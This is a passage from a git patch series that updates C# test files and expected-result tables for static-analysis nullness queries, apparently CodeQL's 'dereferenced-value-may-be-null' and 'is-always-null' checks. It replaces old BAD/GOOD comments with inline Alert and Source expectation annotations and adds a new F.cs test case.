Alert[cs/dereferenced-value-may-be-null] } - public int Ex17(int? i) + public int Ex17(int? i) // $ Source[cs/dereferenced-value-may-be-null] { - return i.Value; // BAD (maybe) + return i.Value; // $ Alert[cs/dereferenced-value-may-be-null] } - public int Ex18(int? i) + public int Ex18(int? i) // $ Source[cs/dereferenced-value-may-be-null] { - return (int)i; // BAD (maybe) + return (int)i; // $ Alert[cs/dereferenced-value-may-be-null] } public int Ex19(int? i) @@ -280,9 +280,9 @@ public class E { if (b) b.ToString(); - var o = Make(); + var o = Make(); // $ Source[cs/dereferenced-value-may-be-null] o?.ToString(); - o.ToString(); // BAD (maybe) + o.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] if (b) b.ToString(); } @@ -298,8 +298,8 @@ public class E public void Ex25(object o) { - var s = o as string; - s.ToString(); // BAD (maybe) + var s = o as string; // $ Source[cs/dereferenced-value-may-be-null] + s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } private long? l; @@ -339,14 +339,14 @@ public class E static void Ex30(string s, object o) { - var x = s ?? o as string; - x.ToString(); // BAD (maybe) + var x = s ?? o as string; // $ Source[cs/dereferenced-value-may-be-null] + x.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } static void Ex31(string s, object o) { - dynamic x = s ?? o as string; - x.ToString(); // BAD (maybe) + dynamic x = s ?? o as string; // $ Source[cs/dereferenced-value-may-be-null] + x.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } static void Ex32(string s, object o) @@ -363,7 +363,7 @@ public class E x.ToString(); // GOOD } - static int Ex34(string s = null) => s.Length; // BAD (maybe) + static int Ex34(string s = null) => s.Length; // $ Alert[cs/dereferenced-value-may-be-null] static int Ex35(string s = "null") => s.Length; // GOOD @@ -371,19 +371,19 @@ public class E { if (o is string) { - var s = o as string; - return s.Length; // GOOD (FALSE POSITIVE) + var s = o as string; // $ Source[cs/dereferenced-value-may-be-null] + return s.Length; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } return -1; } - static bool Ex37(E e1, E e2) + static bool Ex37(E e1, E e2) // $ Source[cs/dereferenced-value-may-be-null] { if ((e1 == null && e2 != null) || (e1 != null && e2 == null)) return false; if (e1 == null && e2 == null) return true; - return e1.Long == e2.Long; // GOOD (FALSE POSITIVE) + return e1.Long == e2.Long; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } int Ex38(int? i) @@ -414,20 +414,20 @@ public class E static bool Ex42(int? i, IEnumerable @is) { - return @is.Any(j => j == i.Value); // BAD (maybe) + return @is.Any(j => j == i.Value); // $ Alert[cs/dereferenced-value-may-be-null] } static bool Ex43(int? i, IEnumerable @is) { if (i.HasValue) - return @is.Any(j => j == i.Value); // GOOD (FALSE POSITIVE) + return @is.Any(j => j == i.Value); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] return false; } static bool Ex44(int? i, IEnumerable @is) { if (i.HasValue) - @is = @is.Where(j => j == i.Value); // BAD (always) + @is = @is.Where(j => j == i.Value); // $ Alert[cs/dereferenced-value-may-be-null] i = null; return @is.Any(); } diff --git a/csharp/ql/test/query-tests/Nullness/GuardedString.cs b/csharp/ql/test/query-tests/Nullness/GuardedString.cs index b5b74cf19ca..797955d95eb 100644 --- a/csharp/ql/test/query-tests/Nullness/GuardedString.cs +++ b/csharp/ql/test/query-tests/Nullness/GuardedString.cs @@ -4,7 +4,7 @@ class GuardedStringTest { void Fn(bool b) { - string s = b ? null : ""; + string s = b ? null : ""; // $ Source[cs/dereferenced-value-may-be-null] if (!string.IsNullOrEmpty(s)) { @@ -32,7 +32,7 @@ class GuardedStringTest Console.WriteLine(s.Length); // GOOD if (s?.Length != 0) - Console.WriteLine(s.Length); // BAD (maybe) + Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-may-be-null] else Console.WriteLine(s.Length); // GOOD } diff --git a/csharp/ql/test/query-tests/Nullness/NullMaybe.qlref b/csharp/ql/test/query-tests/Nullness/NullMaybe.qlref index caf2eefb3d8..6615576178c 100644 --- a/csharp/ql/test/query-tests/Nullness/NullMaybe.qlref +++ b/csharp/ql/test/query-tests/Nullness/NullMaybe.qlref @@ -1 +1,2 @@ -CSI/NullMaybe.ql +query: CSI/NullMaybe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Nullness/NullMaybeBad.cs b/csharp/ql/test/query-tests/Nullness/NullMaybeBad.cs index 9950bc3c1ee..433a4edc112 100644 --- a/csharp/ql/test/query-tests/Nullness/NullMaybeBad.cs +++ b/csharp/ql/test/query-tests/Nullness/NullMaybeBad.cs @@ -4,12 +4,12 @@ class Bad { void DoPrint(object o) { - Console.WriteLine(o.ToString()); + Console.WriteLine(o.ToString()); // $ Alert[cs/dereferenced-value-may-be-null] } void M() { DoPrint("Hello"); - DoPrint(null); + DoPrint(null); // $ Source[cs/dereferenced-value-may-be-null] } } diff --git a/csharp/ql/test/query-tests/Nullness/Params.cs b/csharp/ql/test/query-tests/Nullness/Params.cs index 17c9cf861d7..b7f2c9e46e8 100644 --- a/csharp/ql/test/query-tests/Nullness/Params.cs +++ b/csharp/ql/test/query-tests/Nullness/Params.cs @@ -11,12 +11,12 @@ public class Params public void M2(params string[] args) { - var l = args.Length; // Good + var l = args.Length; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public void M() { M1("a", "b", "c", null); - M2(null); + M2(null); // $ Source[cs/dereferenced-value-may-be-null] } -} \ No newline at end of file +} diff --git a/csharp/ql/test/query-tests/Nullness/StringConcatenation.cs b/csharp/ql/test/query-tests/Nullness/StringConcatenation.cs index 394ea907769..1cc8f146aec 100644 --- a/csharp/ql/test/query-tests/Nullness/StringConcatenation.cs +++ b/csharp/ql/test/query-tests/Nullness/StringConcatenation.cs @@ -11,9 +11,9 @@ class StringsTest void StringMaybeNull() { - string s = null; + string s = null; // $ Source[cs/dereferenced-value-may-be-null] while (s != "") - s = s.Trim(); // BAD (maybe) + s = s.Trim(); // $ Alert[cs/dereferenced-value-may-be-null] } void StringNotNull() From 0355ea87334c311b96623350d1b5c22976c603ab Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 27 May 2025 13:19:08 +0200 Subject: [PATCH 131/271] C#: Add some synthetic library extensions methods and tests for cs/dereferenced-value-is-always-null. --- csharp/ql/test/query-tests/Nullness/F.cs | 16 + .../Nullness/Implications.expected | 4 + .../query-tests/Nullness/NullAlways.expected | 5 + .../query-tests/Nullness/NullMaybe.expected | 964 +++++++++--------- csharp/ql/test/query-tests/Nullness/options | 3 +- csharp/ql/test/resources/stubs/Library.cs | 13 + 6 files changed, 525 insertions(+), 480 deletions(-) create mode 100644 csharp/ql/test/query-tests/Nullness/F.cs create mode 100644 csharp/ql/test/resources/stubs/Library.cs diff --git a/csharp/ql/test/query-tests/Nullness/F.cs b/csharp/ql/test/query-tests/Nullness/F.cs new file mode 100644 index 00000000000..b5d6b66b949 --- /dev/null +++ b/csharp/ql/test/query-tests/Nullness/F.cs @@ -0,0 +1,16 @@ +using Library; + +public class F +{ + public void M1() + { + object o = null; + o.Accept(); // $ Alert[cs/dereferenced-value-is-always-null] + } + + public void M2() + { + object? o = null; + o.AcceptNullable(); + } +} diff --git a/csharp/ql/test/query-tests/Nullness/Implications.expected b/csharp/ql/test/query-tests/Nullness/Implications.expected index dbb6ab23a9a..ec660dd44a4 100644 --- a/csharp/ql/test/query-tests/Nullness/Implications.expected +++ b/csharp/ql/test/query-tests/Nullness/Implications.expected @@ -1305,6 +1305,10 @@ | E.cs:442:13:442:29 | ... is ... | true | E.cs:442:13:442:13 | access to parameter s | non-null | | E.cs:447:13:447:25 | ... is ... | true | E.cs:447:13:447:13 | access to parameter s | non-null | | E.cs:452:13:452:23 | ... is ... | true | E.cs:452:13:452:13 | access to parameter s | non-null | +| F.cs:8:9:8:9 | access to local variable o | non-null | F.cs:7:20:7:23 | null | non-null | +| F.cs:8:9:8:9 | access to local variable o | null | F.cs:7:20:7:23 | null | null | +| F.cs:14:9:14:9 | access to local variable o | non-null | F.cs:13:21:13:24 | null | non-null | +| F.cs:14:9:14:9 | access to local variable o | null | F.cs:13:21:13:24 | null | null | | Forwarding.cs:9:13:9:30 | !... | false | Forwarding.cs:9:14:9:30 | call to method IsNullOrEmpty | true | | Forwarding.cs:9:13:9:30 | !... | true | Forwarding.cs:9:14:9:30 | call to method IsNullOrEmpty | false | | Forwarding.cs:9:14:9:14 | access to local variable s | empty | Forwarding.cs:7:20:7:23 | null | empty | diff --git a/csharp/ql/test/query-tests/Nullness/NullAlways.expected b/csharp/ql/test/query-tests/Nullness/NullAlways.expected index ec8a78e817b..106e64c76c0 100644 --- a/csharp/ql/test/query-tests/Nullness/NullAlways.expected +++ b/csharp/ql/test/query-tests/Nullness/NullAlways.expected @@ -1,3 +1,4 @@ +#select | A.cs:8:15:8:32 | access to local variable synchronizedAlways | Variable $@ is always null at this dereference. | A.cs:7:16:7:33 | synchronizedAlways | synchronizedAlways | | A.cs:17:9:17:17 | access to local variable arrayNull | Variable $@ is always null at this dereference. | A.cs:16:15:16:23 | arrayNull | arrayNull | | A.cs:31:27:31:37 | access to local variable arrayAccess | Variable $@ is always null at this dereference. | A.cs:26:15:26:25 | arrayAccess | arrayAccess | @@ -38,6 +39,10 @@ | E.cs:331:9:331:9 | access to local variable x | Variable $@ is always null at this dereference. | E.cs:330:13:330:13 | x | x | | E.cs:405:16:405:16 | access to local variable i | Variable $@ is always null at this dereference. | E.cs:403:14:403:14 | i | i | | E.cs:439:13:439:13 | access to parameter s | Variable $@ is always null at this dereference. | E.cs:435:29:435:29 | s | s | +| F.cs:8:9:8:9 | access to local variable o | Variable $@ is always null at this dereference. | F.cs:7:16:7:16 | o | o | +| F.cs:14:9:14:9 | access to local variable o | Variable $@ is always null at this dereference. | F.cs:13:17:13:17 | o | o | | Forwarding.cs:36:31:36:31 | access to local variable s | Variable $@ is always null at this dereference. | Forwarding.cs:7:16:7:16 | s | s | | Forwarding.cs:40:27:40:27 | access to local variable s | Variable $@ is always null at this dereference. | Forwarding.cs:7:16:7:16 | s | s | | NullAlwaysBad.cs:9:30:9:30 | access to parameter s | Variable $@ is always null at this dereference. | NullAlwaysBad.cs:7:29:7:29 | s | s | +testFailures +| F.cs:14:9:14:9 | Variable $@ is always null at this dereference. | Unexpected result: Alert | diff --git a/csharp/ql/test/query-tests/Nullness/NullMaybe.expected b/csharp/ql/test/query-tests/Nullness/NullMaybe.expected index 631c2cd7766..3d4a29673e7 100644 --- a/csharp/ql/test/query-tests/Nullness/NullMaybe.expected +++ b/csharp/ql/test/query-tests/Nullness/NullMaybe.expected @@ -1,3 +1,484 @@ +#select +| C.cs:64:9:64:10 | access to local variable o1 | C.cs:62:13:62:46 | SSA def(o1) | C.cs:64:9:64:10 | access to local variable o1 | Variable $@ may be null at this access because of $@ assignment. | C.cs:62:13:62:14 | o1 | o1 | C.cs:62:13:62:46 | Object o1 = ... | this | +| C.cs:68:9:68:10 | access to local variable o2 | C.cs:66:13:66:46 | SSA def(o2) | C.cs:68:9:68:10 | access to local variable o2 | Variable $@ may be null at this access because of $@ assignment. | C.cs:66:13:66:14 | o2 | o2 | C.cs:66:13:66:46 | Object o2 = ... | this | +| C.cs:95:15:95:15 | access to local variable o | C.cs:94:13:94:45 | SSA def(o) | C.cs:95:15:95:15 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | C.cs:94:13:94:13 | o | o | C.cs:94:13:94:45 | Object o = ... | this | +| C.cs:103:27:103:30 | access to parameter list | C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list | Variable $@ may be null at this access because of $@ assignment. | C.cs:99:42:99:45 | list | list | C.cs:102:13:102:23 | ... = ... | this | +| C.cs:177:13:177:13 | access to local variable s | C.cs:178:13:178:20 | SSA def(s) | C.cs:177:13:177:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:151:13:151:13 | s | s | C.cs:178:13:178:20 | ... = ... | this | +| C.cs:203:13:203:13 | access to local variable s | C.cs:204:13:204:20 | SSA def(s) | C.cs:203:13:203:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:185:13:185:13 | s | s | C.cs:204:13:204:20 | ... = ... | this | +| C.cs:223:9:223:9 | access to local variable s | C.cs:222:13:222:20 | SSA def(s) | C.cs:223:9:223:9 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:210:13:210:13 | s | s | C.cs:222:13:222:20 | ... = ... | this | +| C.cs:242:13:242:13 | access to local variable s | C.cs:240:24:240:31 | SSA def(s) | C.cs:242:13:242:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:228:16:228:16 | s | s | C.cs:240:24:240:31 | ... = ... | this | +| D.cs:23:9:23:13 | access to parameter param | D.cs:17:17:17:20 | null | D.cs:23:9:23:13 | access to parameter param | Variable $@ may be null at this access because of $@ null argument. | D.cs:21:32:21:36 | param | param | D.cs:17:17:17:20 | null | this | +| D.cs:32:9:32:13 | access to parameter param | D.cs:26:32:26:36 | SSA param(param) | D.cs:32:9:32:13 | access to parameter param | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:26:32:26:36 | param | param | D.cs:28:13:28:25 | ... != ... | this | +| D.cs:62:13:62:14 | access to local variable o5 | D.cs:58:13:58:41 | SSA def(o5) | D.cs:62:13:62:14 | access to local variable o5 | Variable $@ may be null at this access because of $@ assignment. | D.cs:58:13:58:14 | o5 | o5 | D.cs:58:13:58:41 | String o5 = ... | this | +| D.cs:73:13:73:14 | access to local variable o7 | D.cs:68:13:68:34 | SSA def(o7) | D.cs:73:13:73:14 | access to local variable o7 | Variable $@ may be null at this access because of $@ assignment. | D.cs:68:13:68:14 | o7 | o7 | D.cs:68:13:68:34 | String o7 = ... | this | +| D.cs:82:13:82:14 | access to local variable o8 | D.cs:75:13:75:34 | SSA def(o8) | D.cs:82:13:82:14 | access to local variable o8 | Variable $@ may be null at this access because of $@ assignment. | D.cs:75:13:75:14 | o8 | o8 | D.cs:75:13:75:34 | String o8 = ... | this | +| D.cs:84:13:84:14 | access to local variable o8 | D.cs:75:13:75:34 | SSA def(o8) | D.cs:84:13:84:14 | access to local variable o8 | Variable $@ may be null at this access because of $@ assignment. | D.cs:75:13:75:14 | o8 | o8 | D.cs:75:13:75:34 | String o8 = ... | this | +| D.cs:91:13:91:14 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:14 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | +| D.cs:94:21:94:22 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:94:21:94:22 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | +| D.cs:98:21:98:22 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:98:21:98:22 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | +| D.cs:102:31:102:32 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:102:31:102:32 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | +| D.cs:105:19:105:20 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:105:19:105:20 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | +| D.cs:134:24:134:24 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:134:24:134:24 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:127:20:127:28 | ... == ... | this | +| D.cs:134:24:134:24 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:134:24:134:24 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:139:13:139:21 | ... != ... | this | +| D.cs:135:24:135:24 | access to parameter b | D.cs:125:44:125:44 | SSA param(b) | D.cs:135:24:135:24 | access to parameter b | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:44:125:44 | b | b | D.cs:128:20:128:28 | ... == ... | this | +| D.cs:145:20:145:20 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:145:20:145:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:127:20:127:28 | ... == ... | this | +| D.cs:145:20:145:20 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:145:20:145:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:139:13:139:21 | ... != ... | this | +| D.cs:151:9:151:11 | access to parameter obj | D.cs:149:36:149:38 | SSA param(obj) | D.cs:151:9:151:11 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:149:36:149:38 | obj | obj | D.cs:152:17:152:27 | ... != ... | this | +| D.cs:171:9:171:11 | access to local variable obj | D.cs:163:16:163:25 | SSA def(obj) | D.cs:171:9:171:11 | access to local variable obj | Variable $@ may be null at this access because of $@ assignment. | D.cs:163:16:163:18 | obj | obj | D.cs:163:16:163:25 | Object obj = ... | this | +| D.cs:245:13:245:13 | access to local variable o | D.cs:240:9:240:16 | SSA def(o) | D.cs:245:13:245:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:228:16:228:16 | o | o | D.cs:240:9:240:16 | ... = ... | this | +| D.cs:247:13:247:13 | access to local variable o | D.cs:240:9:240:16 | SSA def(o) | D.cs:247:13:247:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:228:16:228:16 | o | o | D.cs:240:9:240:16 | ... = ... | this | +| D.cs:253:13:253:14 | access to local variable o2 | D.cs:249:13:249:38 | SSA def(o2) | D.cs:253:13:253:14 | access to local variable o2 | Variable $@ may be null at this access because of $@ assignment. | D.cs:249:13:249:14 | o2 | o2 | D.cs:249:13:249:38 | String o2 = ... | this | +| D.cs:267:13:267:13 | access to local variable o | D.cs:258:16:258:23 | SSA def(o) | D.cs:267:13:267:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:258:16:258:23 | Object o = ... | this | +| D.cs:291:13:291:13 | access to local variable o | D.cs:269:9:269:16 | SSA def(o) | D.cs:291:13:291:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:269:9:269:16 | ... = ... | this | +| D.cs:291:13:291:13 | access to local variable o | D.cs:283:17:283:24 | SSA def(o) | D.cs:291:13:291:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:283:17:283:24 | ... = ... | this | +| D.cs:294:13:294:13 | access to local variable o | D.cs:269:9:269:16 | SSA def(o) | D.cs:294:13:294:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:269:9:269:16 | ... = ... | this | +| D.cs:294:13:294:13 | access to local variable o | D.cs:283:17:283:24 | SSA def(o) | D.cs:294:13:294:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:283:17:283:24 | ... = ... | this | +| D.cs:300:17:300:20 | access to local variable prev | D.cs:296:16:296:26 | SSA def(prev) | D.cs:300:17:300:20 | access to local variable prev | Variable $@ may be null at this access because of $@ assignment. | D.cs:296:16:296:19 | prev | prev | D.cs:296:16:296:26 | Object prev = ... | this | +| D.cs:313:17:313:17 | access to local variable s | D.cs:304:16:304:23 | SSA def(s) | D.cs:313:17:313:17 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | D.cs:304:16:304:16 | s | s | D.cs:304:16:304:23 | String s = ... | this | +| D.cs:324:9:324:9 | access to local variable r | D.cs:316:16:316:23 | SSA def(r) | D.cs:324:9:324:9 | access to local variable r | Variable $@ may be null at this access because of $@ assignment. | D.cs:316:16:316:16 | r | r | D.cs:316:16:316:23 | Object r = ... | this | +| D.cs:356:13:356:13 | access to local variable a | D.cs:351:15:351:22 | SSA def(a) | D.cs:356:13:356:13 | access to local variable a | Variable $@ may be null at this access because of $@ assignment. | D.cs:351:15:351:15 | a | a | D.cs:351:15:351:22 | Int32[] a = ... | this | +| D.cs:363:13:363:16 | access to local variable last | D.cs:360:20:360:30 | SSA def(last) | D.cs:363:13:363:16 | access to local variable last | Variable $@ may be null at this access because of $@ assignment. | D.cs:360:20:360:23 | last | last | D.cs:360:20:360:30 | String last = ... | this | +| D.cs:372:13:372:13 | access to local variable b | D.cs:366:15:366:47 | SSA def(b) | D.cs:372:13:372:13 | access to local variable b | Variable $@ may be null at this access because of $@ assignment. | D.cs:366:15:366:15 | b | b | D.cs:366:15:366:47 | Int32[] b = ... | this | +| D.cs:395:20:395:20 | access to parameter a | D.cs:388:36:388:36 | SSA param(a) | D.cs:395:20:395:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:388:36:388:36 | a | a | D.cs:390:20:390:28 | ... == ... | this | +| D.cs:400:20:400:20 | access to parameter b | D.cs:388:45:388:45 | SSA param(b) | D.cs:400:20:400:20 | access to parameter b | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:388:45:388:45 | b | b | D.cs:397:20:397:28 | ... == ... | this | +| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:407:27:407:35 | ... == ... | this | +| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:407:55:407:63 | ... != ... | this | +| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:411:13:411:21 | ... != ... | this | +| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:407:14:407:22 | ... != ... | this | +| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:407:42:407:50 | ... == ... | this | +| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:409:13:409:21 | ... != ... | this | +| E.cs:12:38:12:39 | access to local variable a2 | E.cs:9:18:9:26 | SSA def(a2) | E.cs:12:38:12:39 | access to local variable a2 | Variable $@ may be null at this access because of $@ assignment. | E.cs:9:18:9:19 | a2 | a2 | E.cs:9:18:9:26 | Int64[][] a2 = ... | this | +| E.cs:14:13:14:14 | access to local variable a3 | E.cs:11:16:11:24 | SSA def(a3) | E.cs:14:13:14:14 | access to local variable a3 | Variable $@ may be null at this access because of $@ assignment. | E.cs:11:16:11:17 | a3 | a3 | E.cs:11:16:11:24 | Int64[] a3 = ... | this | +| E.cs:27:13:27:14 | access to local variable s1 | E.cs:23:13:23:30 | SSA def(s1) | E.cs:27:13:27:14 | access to local variable s1 | Variable $@ may be null at this access because of $@ assignment. | E.cs:19:13:19:14 | s1 | s1 | E.cs:23:13:23:30 | ... = ... | this | +| E.cs:61:13:61:17 | access to local variable slice | E.cs:51:22:51:33 | SSA def(slice) | E.cs:61:13:61:17 | access to local variable slice | Variable $@ may be null at this access because of $@ assignment. | E.cs:51:22:51:26 | slice | slice | E.cs:51:22:51:33 | List slice = ... | this | +| E.cs:73:13:73:15 | access to parameter arr | E.cs:66:40:66:42 | SSA param(arr) | E.cs:73:13:73:15 | access to parameter arr | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:66:40:66:42 | arr | arr | E.cs:70:22:70:32 | ... == ... | this | +| E.cs:112:13:112:16 | access to local variable arr2 | E.cs:107:15:107:25 | SSA def(arr2) | E.cs:112:13:112:16 | access to local variable arr2 | Variable $@ may be null at this access because of $@ assignment. | E.cs:107:15:107:18 | arr2 | arr2 | E.cs:107:15:107:25 | Int32[] arr2 = ... | this | +| E.cs:125:33:125:35 | access to local variable obj | E.cs:137:25:137:34 | SSA def(obj) | E.cs:125:33:125:35 | access to local variable obj | Variable $@ may be null at this access because of $@ assignment. | E.cs:119:13:119:15 | obj | obj | E.cs:137:25:137:34 | ... = ... | this | +| E.cs:159:13:159:16 | access to local variable obj2 | E.cs:152:16:152:26 | SSA def(obj2) | E.cs:159:13:159:16 | access to local variable obj2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:152:16:152:19 | obj2 | obj2 | E.cs:153:13:153:24 | ... != ... | this | +| E.cs:167:21:167:21 | access to parameter a | E.cs:162:28:162:28 | SSA param(a) | E.cs:167:21:167:21 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:162:28:162:28 | a | a | E.cs:164:17:164:25 | ... == ... | this | +| E.cs:178:13:178:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:178:13:178:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:175:19:175:29 | ... == ... | this | +| E.cs:178:13:178:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:178:13:178:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:180:13:180:23 | ... == ... | this | +| E.cs:186:13:186:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:186:13:186:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:175:19:175:29 | ... == ... | this | +| E.cs:186:13:186:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:186:13:186:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:180:13:180:23 | ... == ... | this | +| E.cs:192:17:192:17 | access to parameter o | E.cs:190:29:190:29 | SSA param(o) | E.cs:192:17:192:17 | access to parameter o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:190:29:190:29 | o | o | E.cs:193:17:193:17 | access to parameter o | this | +| E.cs:201:13:201:13 | access to local variable o | E.cs:198:13:198:29 | [b (line 196): true] SSA def(o) | E.cs:201:13:201:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | E.cs:198:13:198:13 | o | o | E.cs:198:13:198:29 | String o = ... | this | +| E.cs:203:13:203:13 | access to local variable o | E.cs:198:13:198:29 | [b (line 196): false] SSA def(o) | E.cs:203:13:203:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | E.cs:198:13:198:13 | o | o | E.cs:198:13:198:29 | String o = ... | this | +| E.cs:218:9:218:9 | access to local variable x | E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:218:9:218:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:215:13:215:13 | x | x | E.cs:217:13:217:20 | ... = ... | this | +| E.cs:230:9:230:9 | access to local variable x | E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:230:9:230:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:225:13:225:13 | x | x | E.cs:227:13:227:20 | ... = ... | this | +| E.cs:235:16:235:16 | access to parameter i | E.cs:233:26:233:26 | SSA param(i) | E.cs:235:16:235:16 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:233:26:233:26 | i | i | E.cs:233:26:233:26 | i | this | +| E.cs:240:21:240:21 | access to parameter i | E.cs:238:26:238:26 | SSA param(i) | E.cs:240:21:240:21 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:238:26:238:26 | i | i | E.cs:238:26:238:26 | i | this | +| E.cs:285:9:285:9 | access to local variable o | E.cs:283:13:283:22 | [b (line 279): false] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:283:13:283:13 | o | o | E.cs:284:9:284:9 | access to local variable o | this | +| E.cs:285:9:285:9 | access to local variable o | E.cs:283:13:283:22 | [b (line 279): true] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:283:13:283:13 | o | o | E.cs:284:9:284:9 | access to local variable o | this | +| E.cs:302:9:302:9 | access to local variable s | E.cs:301:13:301:27 | SSA def(s) | E.cs:302:9:302:9 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | E.cs:301:13:301:13 | s | s | E.cs:301:13:301:27 | String s = ... | this | +| E.cs:343:9:343:9 | access to local variable x | E.cs:342:13:342:32 | SSA def(x) | E.cs:343:9:343:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:342:13:342:13 | x | x | E.cs:342:13:342:32 | String x = ... | this | +| E.cs:349:9:349:9 | access to local variable x | 